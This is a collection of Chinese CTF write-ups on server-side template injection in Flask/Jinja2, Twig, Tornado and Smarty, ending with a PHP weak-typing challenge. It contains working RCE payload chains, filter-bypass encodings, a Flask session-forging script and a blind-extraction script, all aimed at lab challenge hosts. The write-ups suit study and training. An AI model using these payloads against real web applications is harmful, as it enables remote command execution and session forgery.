SSTI小练
SSTI
作者前言:
关于SSTI:一篇文章带你理解漏洞之 SSTI 漏洞 | K0rz3n's Blog
关于绕过方式:https://wiki.wgpsec.org/knowledge/ctf/SSTI.html
基本pyload模板
1、Twig
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("执行的命令")}}
2、Flask
获取某个类
"".__class__
获取object基类(bases或者mro)
"".__class__.__bases__ 或者 "".__class__.__mro__[1]
接下来获取其所有子类
"".__class__.__mro__[1].__subclasses__()
获取到subclasses后,使用init.globals来看看有没有os module或者其他的可以读写文件的。
"".__class__.__mro__[1].__subclasses__()[127].__init__.__globals__
最终payload
"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("想执行的命令").read()
参考ssti-flak框架 | sakura (sakurahack-y.github.io)
[护网杯 2018]easy_tornado
考点:
1、模板注入的查找能力
2、编程基础理解
flag在/fllllllllllllag中
结合题目提示,搜索发现这个render是tornado模板中的一个部分
一个提示
http://611a20a8-eab5-43af-8cf7-e0e3c15e4af4.node4.buuoj.cn:81/file?filename=/hints.txt&filehash=804f51619bd27f01e4aeb2f17bfabf7a
结合请求信息,很显然filehash=md5(cookie_secret+md5(filename))
推测出只要使
/file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
即可获得flag,思路有了,那么这个cookie_secret是个啥呢?,这就需要去翻官方文档查询了
最终找到cookie_secret在这里
再往上翻,发现cookie_secret在setting这个大标题下
看来应该是与设置相关的一些东西
暂时没什么思路了,试试普通的模板注入,无论怎么尝试都会出现Error
最后发现居然在Error界面能够注入。。。
既然cookie_secret和setting有关,不妨试试setting
虽然没什么大用,但是证明了它确实是和setting有关,回显出了不一样的内容
当时做到这里的时候我就没有思路了,后来看了wp才知道突破口竟然是
这一看就是某个对象(类)的属性,说明目录就只有两个类:RequestHandler
和Application
沿着这个思路,找到了这个
反正没思路,把他们都带进去试试,结果还是没用
后面找到了这篇文章,所以我们只需输入handler.settings就能指向RequestHandler.application.settings了
得到了cookie_secret,剩下的就简单了,写个脚本获得md5(cookie_secret+md5(/fllllllllllllag))的值就ok了
脚本如下,关于脚本就不解释了,就是引入了hashlib,不懂的可以百度
import hashlib
a=(hashlib.md5("/fllllllllllllag".encode())).hexdigest()
print((hashlib.md5(("bc82df89-fe32-40f4-8c15-d930a3bef2d0"+a).encode())).hexdigest())xxxxxxxxxx import hashliba=(hashlib.md5("/fllllllllllllag".encode())).hexdigest()print((hashlib.md5(("3a15d94a-b0c9-49b7-b560-f00c4997f0a7"+a).encode())).hexdigest())
输出
payload:
http://c36da189-af9b-42de-93f1-5a0deaaad568.node4.buuoj.cn:81/file?filename=/fllllllllllllag&filehash=0e91d898653bbab52cdbdd0c9eeb522d
得到flag
[CISCN2019 总决赛 Day1 Web3]Flask Message Board
启动题目
无论输入什么都会被拒绝
但是发现Title
、Author
和Content
里面输入1+1
就不会,并且回显的是Author
的内容。
Author处存在ssti漏洞
{{config}}查看配置文件
发现一个东西
'SECRET_KEY': 'l|IIi11Ii|l|1|lllI1|IIIiiIiil|l|li|illII'
既然是存在SECRET_KEY
那么就可以通过SECRET_KEY绕过flask的session认证,参考flask-unsign
对seesion解密
脚本
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
解出
“admin”:false 应该是要伪造admin
from hashlib import sha512
from flask.sessions import session_json_serializer
from itsdangerous import URLSafeTimedSerializer, BadTimeSignature
import base64
import zlib
PAYLOAD = {'Admin': True}
signer = URLSafeTimedSerializer(
'secret-key', salt='cookie-session',
serializer=session_json_serializer,
signer_kwargs={'key_derivation': 'hmac', 'digest_method': sha512}
)
print(signer.dumps(PAYLOAD))
也可直接使用使用flask-unsign,在kali上有
成功访问/admin
查看源码
Todo: add /admin/model_download button
<a href="/admin/source_thanos">Open Source</a>
zip file with detection.meta detection.index detection.data-00000-of-00001 3 TensorFlow(1.12) files!
The model need x:0 to input a number , and y:0 to output the result "Human" or "Bot"
访问/admin/model_download
可以把模型下载下来,源码则在/admin/source_thanos
,最后是TensorFlow的介绍
源码是随机显示一部分,但是好在位置固定,通过脚本复原即可:
import requests
url = 'http://xxx.cn/admin/source_thanos'
r = requests.get(url)
source = r.text
for j in range(10):
r = requests.get(url)
for i in range(len(source)):
if source[i].isspace():
source = source[:i] + r.text[i] + source[i+1:]
print(source)
得到源码:
# coding=utf8
from flask import Flask, flash, send_file
import random
from datetime import datetime
import zipfile
# init app
app = Flask(__name__)
app.secret_key = ''.join(random.choice("il1I|") for i in range(40))
print(app.secret_key)
from flask import Response
from flask import request, session
from flask import redirect, url_for, safe_join, abort
from flask import render_template_string
from data import data
post_storage = data
site_title = "A Flask Message Board"
site_description = "Just leave what you want to say."
# %% tf/load.py
import tensorflow as tf
from tensorflow.python import pywrap_tensorflow
def init(model_path):
'''
This model is given by a famous hacker !
'''
new_sess = tf.Session()
meta_file = model_path + ".meta"
model = model_path
saver = tf.train.import_meta_graph(meta_file)
saver.restore(new_sess, model)
return new_sess
def renew(sess, model_path):
sess.close()
return init(model_path)
def predict(sess, x):
'''
:param x: input number x
sess: tensorflow session
:return: b'You are: *'
'''
y = sess.graph.get_tensor_by_name("y:0")
y_out = sess.run(y, {"x:0": x})
return y_out
tf_path = "tf/detection_model/detection"
sess = init(tf_path)
# %% tf end
def check_bot(input_str):
r = predict(sess, sum(map(ord, input_str)))
return r if isinstance(r, str) else r.decode()
def render_template(filename, **args):
with open(safe_join(app.template_folder, filename), encoding='utf8') as f:
template = f.read()
name = session.get('name', 'anonymous')[:10]
# Someone call me to add a remembered_name function
# But I'm just familiar with PHP !!!
# return render_template_string(
# template.replace('$remembered_name', name)
# .replace('$site_description', site_description)
# .replace('$site_title', site_title), **args)
return render_template_string(
template.replace('$remembered_name', name), site_description=site_description, site_title=site_title, **args)
@app.route('/')
def index():
global post_storage
session['admin'] = session.get('admin', False)
if len(post_storage) > 20:
post_storage = post_storage[-20:]
return render_template('index.html', posts=post_storage)
@app.route('/post', methods=['POST'])
def add_post():
title = request.form.get('title', '[no title]')
content = request.form.get('content', '[no content]')
name = request.form.get('author', 'anonymous')[:10]
try:
check_result = check_bot(content)
if not check_result.endswith('Human'):
flash("reject because %s or hacker" % (check_result))
return redirect('/')
post_storage.append(
{'title': title, 'content': content, 'author': name, 'date': datetime.now().strftime("%B %d, %Y %X")})
session['name'] = name
except Exception as e:
flash('Something wrong, contact admin.')
return redirect('/')
@app.route('/admin/model_download')
def model_download():
'''
Download current model.
'''
if session.get('admin', True):
try:
with zipfile.ZipFile("temp.zip", 'w') as z:
for e in ['detection.meta', 'detection.index', 'detection.data-00000-of-00001']:
z.write('tf/detection_model/'+ e, arcname=e)
return send_file("temp.zip", as_attachment=True, attachment_filename='model.zip')
except Exception as e:
flash(str(e))
return redirect('/admin')
else:
return "Not a admin **session**. <a href='/'>Back</a>"
@app.route('/admin', methods=['GET', 'POST'])
def admin():
global site_description, site_title, sess
if session.get('admin', False):
print('admin session.')
if request.method == 'POST':
if request.form.get('site_description'):
site_description = request.form.get('site_description')
if request.form.get('site_title'):
site_title = request.form.get('site_title')
if request.files.get('modelFile'):
file = request.files.get('modelFile')
# print(file, type(file))
try:
z = zipfile.ZipFile(file=file)
for e in ['detection.meta', 'detection.index', 'detection.data-00000-of-00001']:
open('tf/detection_model/' + e, 'wb').write(z.read(e))
sess = renew(sess, tf_path)
flash("Reloaded successfully")
except Exception as e:
flash(str(e))
return render_template('admin.html')
else:
return "Not a admin **session**. <a href='/'>Back</a>"
@app.route('/admin/source') # <--here ♂ boy next door
def get_source():
return open('app.py', encoding='utf8').read()
@app.route('/admin/source_thanos')
def get_source_broken():
'''
Thanos is eventually resurrected,[21] and collects the Infinity Gems once again.[22]
He uses the gems to create the Infinity Gauntlet, making himself omnipotent,
and erases half the living things in the universe to prove his love to Death.
'''
t = open('app.py', encoding='utf8').read()
tt = [t[i] for i in range(len(t))]
ll = list(range(len(t)))
random.shuffle(ll)
for i in ll[:len(t) // 2]:
if tt[i] != '\n': tt[i] = ' '
return "".join(tt)
不了解TensorFlow,看官方wp,通过tensorflow运行下面代码
import tensorflow as tf
# Tensorboard可视化
def init(model_path):
new_sess = tf.Session()
meta_file = model_path + ".meta"
model = model_path
saver = tf.train.import_meta_graph(meta_file)
saver.restore(new_sess, model)
return new_sess
sess = init('detection_model/detection')
writer = tf.summary.FileWriter("./log", sess.graph)
# 然后在命令行执行tensorboard --logdir ./log
在对应端口查看图结构,发现当输入的字符串字符总和为1024时会触发读取/flag
的后门,此时转向处理输入的函数:
def predict(sess, x):
'''
:param x: input number x
sess: tensorflow session
:return: b'You are: *'
'''
y = sess.graph.get_tensor_by_name("y:0")
y_out = sess.run(y, {"x:0": x})
return y_out
def check_bot(input_str):
r = predict(sess, sum(map(ord, input_str)))
return r if isinstance(r, str) else r.decode()
# check_result = check_bot(content)
# check_bot函数只处理了输入框接收的内容,因此只有输入框可以触发读取`/flag`的后门。
这里将输入的字符串转化为ASCII码然后求和作为x的值,需要将x的值改为1024,于是构造一个ASCII码值和为1024的字符串赋值x:
aaaaaabxCZ
在Content
输入即可看到flag。
[RootersCTF2019]I_❤️_Flask
flask模板注入
查看源码,没什么提示
dirsearch扫目录,也未发现源码泄露
爆破注入参数,利用arjun爆破参数
arjun -u http://xxx -c 100 -d 5
爆出参数:name
方法一
Tplmap
tplmap.py -u url/?name=1
Jinja2模板
直接–os-shell,读取flag
方法二
通用payload
{%%20for%20c%20in%20().__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27catch_warnings%27%20%}{{%20c.__init__.__globals__[%27__builtins__%27].eval(%22__import__(%27os%27).popen(%27whoami%27).read()%22)%20}}{%%20endif%20%}{%%20endfor%20%}
个人所得税
启动题目
尝试 {{''.__class__.__mro__[1].__subclasses__()}}
并没有返回任何东西
()
被过滤了
双写绕过
{{''.__class__.__mro__[1].__subclasses__(())}}
burp抓包试试
直接找os._wrap_close
序列为117
发现open
也被过滤了,直接双写绕过
{{''.__class__.__mro__[1].__subclasses__(())[117].__init__.__globals__['poopenpen']('whoami').read(())}}
读flag
{{''.__class__.__mro__[1].__subclasses__(())[117].__init__.__globals__['poopenpen']('cat /flag').read(())}}
[BJDCTF2020]Cookie is so stable(Twig)
来到界面
没发现可疑的地方,抓包hint和flag看看
抓包hint的时候发现
提示我们注意cookies,然后再抓包登录成功时的页面(之前未登录时的包抓来一直不成功,搞了很久才发现要抓登录后的包)
发现cookie后多了一个user=1
结合提示,这里应该就是注入点,尝试{{3*3}}
发现回显的是9,所以是Twig模板注入
Twig
{{3*3}} #输出9
Jinja
{{3*3}} #输出3333333
直接上Twig注入模板
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
[CISCN2019 华东南赛区]Web11(Smarty)
打开题目,看到XFF伪造,应该为Smarty模板注入
尝试添加XFF
成功,右上角Current IP回显了9,好,继续
flag应该再根目录,直接打开
最后flag在页面无法显示,要转到burp中查看
[BJDCTF2020]The mystery of ip(flask)
打开题目,首先抓包看看,抓包hint和flag看看
联想到XFF伪造
尝试SSTI注入
成功,查看当前目录下的文件
发现一个flag.php,打开看看
看来是被骗了,正确的flag一般都应该在根目录下
[pasecactf_2019]flask_ssti
输入什么返回什么,再试试SSTI模板注入,成功
几经尝试,发现.
,_
,'
,被过滤了
单引号用双引号绕过
下划线用十六进制编码\x5f绕过
点用[]绕过
构造payload,获取object类
原式:
{{"".__class__.__bases__}}
编码后:
{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"]}}
同时也说明成功绕过
接下来获取所有子类
原式:
{{"".__class__.__mro__[1].__subclasses__()}}
编码后:
{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()}}
在这里我们要找的类是能引进os.的类,因为我们要依靠它来使用系统命令,直接使用ctrl+f搜索,找到一个os._wrap_close类,就是他了!
我们要知道它的索引是多少,靠数显然不可能,这里贴个大佬的脚本,可以回显索引
import json
a = """ #这中间贴你的类列表
"""
num = 0
allList = []
result = ""
for i in a:
if i == ">":
result += i
allList.append(result)
result = ""
elif i == "\n" or i == ",":
continue
else:
result += i
for k, v in enumerate(allList):
if "os._wrap_close" in v:
print(str(k) + "--->" + v)
接着我们查看一下目录下有没有flag文件
原式:
{{"".__class__.__mro__[1].__subclasses__()[127].__init__.__globals__["os"]["popen"]("ls").read()}}
编码后:
{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("ls")["read"]()}}
根本没有,淦,只能查看源码了
原式:
{{"".__class__.__mro__[1].__subclasses__()[127].__init__.__globals__["os"]["popen"]("cat app.py").read()}}
编码后:
{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("cat ap*")["read"]()}}
import random
from flask import Flask, render_template_string, render_template, request
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'
#Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe
'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
file = open("/app/flag", "r")
flag = file.read()
flag = flag[:42]
app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""
os.remove("/app/flag")
发现加密后的flag在最后被删除了,不过好在加密完成后的flag保存在了config['flag']里了,所以我们找找加密后的flag
{{config}}
最后根据它的算法解密flag即可
解密
[CSCCTF 2019 Qual]FlaskLight
话不多说,查看源码,get传参,search参数,ok
测试发现为SSTI中的Flask模板注入
接着查找所有子类
{{"".__class__.__mro__[1].__subclasses__()}}
我们需要的是能利用它从而执行系统命令的类,先看看有没有os.类
很好,没有。再找找Popen类
然后我们需要知道它的索引
import json
a = """ #这中间贴你的类列表
"""
num = 0
allList = []
result = ""
for i in a:
if i == ">":
result += i
allList.append(result)
result = ""
elif i == "\n" or i == ",":
continue
else:
result += i
for k, v in enumerate(allList):
if "subprocess.Popen" in v: #这里写需要返回索引的类名
print(str(k) + "--->" + v)
附上一个脚本,可以回显需要的索引
这里涉及到一个subprocess.Popen()函数的用法,可参考python中的subprocess.Popen()使用详解 - html中文网,还有stip()函数,用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列。
但只能删除开头或是结尾的字符,不能删除中间部分的字符。
最终payload(stip函数是可以不要的)
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
Web2
flask模板注入
基本思路
先寻找可用类
__class__ 返回调用的参数类型
__mro__ 在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
获取某个类
"".__class__
获取object基类(bases或者mro)
"".__class__.__bases__ 或者 "".__class__.__mro__[1]
接下来获取其所有子类
"".__class__.__mro__[1].__subclasses__()
获取到subclasses后,使用init.globals来看看有没有os、exec或者其他的可以读写文件的。
"".__class__.__mro__[1].__subclasses__()[127].__init__.__globals__
最终payload
命令执行:
"".__class__.__mro__[1].__subclasses__()[127].__init__.__globals__["os"]["popen"]("想执行的命令").read()
文件读取:
{{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__['open']('/this_is_the_flag.txt').read()}}
题目复现
源码:
import re
from flask import Flask, render_template, render_template_string, request
app = Flask(__name__)
def isLegalParam(param):
return (re.search(r'\'|\"|_|{{.*}}|{%.*%}|\[|\]', param, re.M|re.S) is None)
@app.route('/')
def main():
return render_template("index.html")
@app.route('/calc')
def calc():
formula = request.args.get("calc")
answer = request.args.get("answer")
if isLegalParam(formula) and isLegalParam(answer):
answerHtml = formula + "=" + answer
print(answerHtml)
else:
answerHtml = formula + "=" + answer
print(answerHtml)
answerHtml = "Data illegality."
return render_template_string(answerHtml)
@app.route("/hint")
def hint():
with open(__file__, "rb") as f:
file = f.read()
return file
if __name__ == '__main__':
app.run(host="0.0.0.0")
在这里我们首先发现通过两个参数用get方式传参,最后输出clac = answer
所以payload的形式为
?calc={{[表达式1]&answer==[表达式2]}}
并且我们发现,当我们构造以下表达式时回显正确
?calc={{2*2&answer==4}}
而当构造以下表达式时回显错误
?calc={{2*2&answer==3}}
这就和sql注入中的盲注很像!!!
由于源码中过滤了单引号和双引号,甚至还有_
,所以这里我们需要利用 attr
和 request
绕过
{{|attr(request.values.x1)|attr(request.values.x2)|}}&x1=...&x2=...
变量可以通过过滤器修改。过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数。可以链接多
个过滤器。一个过滤器的输出应用于下一个过滤器。
attr用于获取变量
eg.
""|attr("__class__")
相当于
"".__class__
所以构造出的payload:
{{"".__class__.__mro__[1].__subclasses__()}}
相当于
{{()|attr(request.values.x1)|attr(request.values.x2)|attr(request.values.x3)()&answer==(request.values.x4)}}&x1=__class__&x2=__base__&x3=__subclasses__&x10=...
构造“盲注”脚本
import requests
url="http://172.17.135.39:5050/calc"
can="?calc="
flag=""
for i in(39,126):
payload="{{()|attr(request.values.x1)|attr(request.values.x2)|attr(request.values.x3)()|attr(request.values.x4)(100)|attr(request.values.x5)|attr(request.values.x6)|attr(request.values.x4)(request.values.x7)|attr(request.values.x4)(request.values.x8)(request.values.x9)&answer==(request.values.x10)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__('os').popen('cat flag.txt').read()[0:1]&x10={}".format(i)
url_get = url+can+payload
re = requests.get(url_get)
if "Ture" in re.text:
flag += chr(i)
print(flag)
即可获得flag
odd_upload
考点:
1、Smarty框架的目录结构
2、Smarty模板注入
启动题目,映入眼帘的就是Smarty框架
下面是接着一个文件上传
遇到框架题,首先查官方手册,弄清楚目录结构,再继续做题
可以看到在templates下有一个index.tpl文件,我们可以产生过hi访问一下它,看会不会有结果
成功访问,经过简单的了解,我们得知在index.tpl会渲染主页面然后再返回,那么我们是不是可以上传一个index.tpl把原来的给覆盖掉呢?这样我们就可以在我们上传的index.tpl中写入恶意代码并执行了
同时通过查询smarty模板注入漏洞,我们得知:注入模板为:{3*3}
成功上传后访问index.tpl
成功回显
构造payload
{system('cat /flag')}
得到flag
[GWCTF 2019]你的名字
({{
和}}
和关键字过滤的绕过)
试试{{3*3}}
提示语法错误,再试试{3}
回显正常,最后发现是{{}}
被过滤了,关于绕过方法,可以参考[GWCTF 2019]你的名字 – JohnFrod's Blog
讲的很好,我就不过多赘述了,直接给
payload
查看根目录下是否有flag文件
{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('ls /').read()%}
还真有,直接打开就行了
{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('cat /flag_1s_Hera').read()%}
[WesternCTF2018]shrine
源码看着太乱,整理一下
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG') #注册了一个名为FLAG的config,flag应该就在这儿
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])
+ s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
可以看到有两个路由,第一个路由给出了显示出源代码,第二个路由在/shrine/路径下提交参数
我们简单测试一下
/shrine/{{2*2}}
回显成功
查看源码,发现我们提交的参数之中的()会被设为空,同时会将黑名单里的内容遍历一遍,把与黑名单相同的参数设为None
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
所以这里我们要用到python中的一些内置函数,url_for和get_flashed_messages,这两个函数包含了current_app全局变量
可以看到我们注入
/shrine/{{url_for.__globals__}}
current_app意思是当前app,所以继续进入当前app的config
/shrine/{{url_for.__globals__['current_app'].config}}
得到flag
同理,用get_flashed_messages也是一样的
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
Confusion1
启动题目,一个被蛇缠住的大象
点击login,发现无法访问,查看一下源码,发现有flag的信息
几番尝试后发现是SSTI
使用,{{7*7}},发现回显49
最常用的
{{''.__class__.__mro__[2].__subclasses__()}}
被禁了,测试后发现好多都被禁了
使用request.args.t1且以GET方式提交t1=__class__
来替换被过滤的__class__
{{''.__class__}}
=
{{''[request.args.t1]}}&t1=__class__
所以payload
{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__
构造
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
=
{{''.__class__.__mro__[2].__subclasses__()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()}}
即可获得flag
Basic
[极客大挑战 2019]BuyFlag
考点:
1、弱类型比较
2、数组传参绕过长度限制
启动题目,进入到payflag界面后,。获取到的到flag的条件
1、需要100000000元
2、密码必须正确
3、必须是CUIT的学生
继续查看网页源码,获得提示
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
发现是很简单的一个弱类型比较绕过 ,构造passsword=404a,即可绕过,得到正确的密码
但是我们在界面上怎么尝试都没有得到回显
利用bp抓包,在我们修改user=1时,获得回显you are Cuiter
说明当user=1时,我们就满足了第三个条件,变成了CUIT的学生,接下来就只剩下money这一个条件了
长度太长,我们可以采用数组传参绕过
获得flag,还有一种方式,就是采用科学计数法,但是这里需要注意
所以应该写成